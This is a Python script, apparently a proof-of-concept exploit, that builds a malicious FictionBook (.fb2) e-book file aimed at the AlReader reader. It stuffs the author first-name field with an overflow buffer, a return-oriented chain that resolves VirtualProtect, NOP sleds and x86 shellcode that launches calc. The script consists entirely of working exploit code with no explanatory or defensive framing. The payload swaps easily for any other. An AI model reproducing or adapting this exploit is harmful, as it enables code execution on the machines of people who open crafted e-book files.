from struct import *
file_result = "AlReader-fb2-PoC-exploit.fb2"
fuz_text= ''
jmp_to= pack('<I',0x00442391 )
ret_NOP =pack('<I',0x00448147 )
fuz_text += 'gdvn'
fuz_text += jmp_to * 500
fuz_text += ret_NOP * 500
ret_adr_after = pack('<I',0x0048ddd1 )
module_handlew_adr = pack('<I',0x004FC8FC )
kernel32_u = pack('<I',0x0560944 )
fuz_text +=pack('<I',0x004904a6 ) + module_handlew_adr + ret_adr_after + kernel32_u
fuz_text +='\x41' *4
fuz_text +=pack('<I',0x004f831c )
fuz_text +='\x41' *36
fuz_text += pack('<I',0x004b310d )
fuz_text +='\x41' *28
fuz_text +=pack('<I',0x004f831c )
fuz_text +='\x41' *36
ret_adr_after = pack('<I',0x0048ddd1 )
get_proc_adr= pack('<I',0x0043C8B2 )
fuz_text += pack('<I',0x004904A8 )+ get_proc_adr +ret_adr_after
fuz_text +='\x41' *8
fuz_text += pack('<I',0x004b9e9e )
fuz_text += pack('<I',0x004b310d )
fuz_text += 'VirtualProtect' + '\x00'
fuz_text +='\x41' *17
fuz_text += pack('<I',0x00489cdd )
fuz_text += pack('<I',0x004a6392 )
fuz_text += pack('<I',0x5DE58BD1 )
fuz_text += pack('<I',0x004e7d31 )
fuz_text += pack('<I',0x004fc23c )
fuz_text += pack('<I',0x0040db04 )* 64
fuz_text += pack('<I',0x0048c064 )
fuz_text += pack('<I',0x00629eea )
fuz_text += pack('<I',0x00487d6a )
fuz_text += pack('<I',0x004f4401 )
fuz_text += pack('<I',0x004e6379 )
ret_adr_after = pack('<I',0x004f831c )
fuz_text += ret_adr_after
fuz_text+= pack('<I',0x004ecfab )
fuz_text +='\x41' *32
fuz_text += pack('<I',0x004a37bd )
fuz_text += '\x90' * 16
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7");
fuz_text += shellcode
fuz_text += ret_NOP * 250
ret_adr_after = pack('<I',0x004cad21 )
module_handlew_adr = pack('<I',0x004FC85C )
kernel32_u = pack('<I',0x00560724 )
fuz_text +=pack('<I',0x00488ed6 ) + module_handlew_adr + ret_adr_after + kernel32_u
fuz_text +='\x41' *4
fuz_text +=pack('<I',0x004a8ee8 )
fuz_text +='\x41' *36
fuz_text += pack('<I',0x004b3ded )
fuz_text +='\x41' *28
fuz_text +=pack('<I',0x004a8ee8 )
fuz_text +='\x41' *36
ret_adr_after = pack('<I',0x004cad21 )
get_proc_adr= pack('<I',0x0043C8B2 )
fuz_text += pack('<I',0x00488ed6 )+ get_proc_adr +ret_adr_after
fuz_text +='\x41' *8
fuz_text += pack('<I',0x004b9dfe )
fuz_text += pack('<I',0x004b3ded )
fuz_text += 'VirtualProtect' + '\x00'
fuz_text +='\x41' *17
fuz_text += pack('<I',0x00489c3d )
fuz_text += pack('<I',0x00481c40 )
fuz_text += pack('<I',0x5DE58BD1 )
fuz_text += pack('<I',0x004e7c91 )
fuz_text += pack('<I',0x004fc19c )
fuz_text += pack('<I',0x0040db04 )* 64
fuz_text += pack('<I',0x004f39dc )
fuz_text += pack('<I',0x0062909d )
fuz_text += pack('<I',0x00495df4 )
fuz_text += pack('<I',0x00483a02 )
fuz_text += pack('<I',0x004fb3c6 )
ret_adr_after = pack('<I',0x004a8ee8 )
fuz_text += ret_adr_after
fuz_text+= pack('<I',0x004b3ded )
fuz_text +='\x41' *32
fuz_text += pack('<I',0x004757a7)
fuz_text += '\x90' * 16
fuz_text += shellcode
fuz_text += '\x41' * 6000
start = '''
<?xml version="1.0" encoding="unicode-utf_16"?>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<author>
<first-name>
'''
end = '''
<middle-name/>
<last-name/>
</author>
<book-title>EXPLOIT TEST</book-title>
</title-info>
</description>
</FictionBook>
'''
start_u = start.encode('utf-16')
end_u = end.encode('utf-16')
fout = open(file_result, 'wb')
fout.write(start_u)
fout.close()
fout = open(file_result,'ab')
fout.write(fuz_text)
fout.close()
fout = open(file_result,'ab')
fout.write(end_u)
fout.close()
print "[*] File successfully created !!\n\n"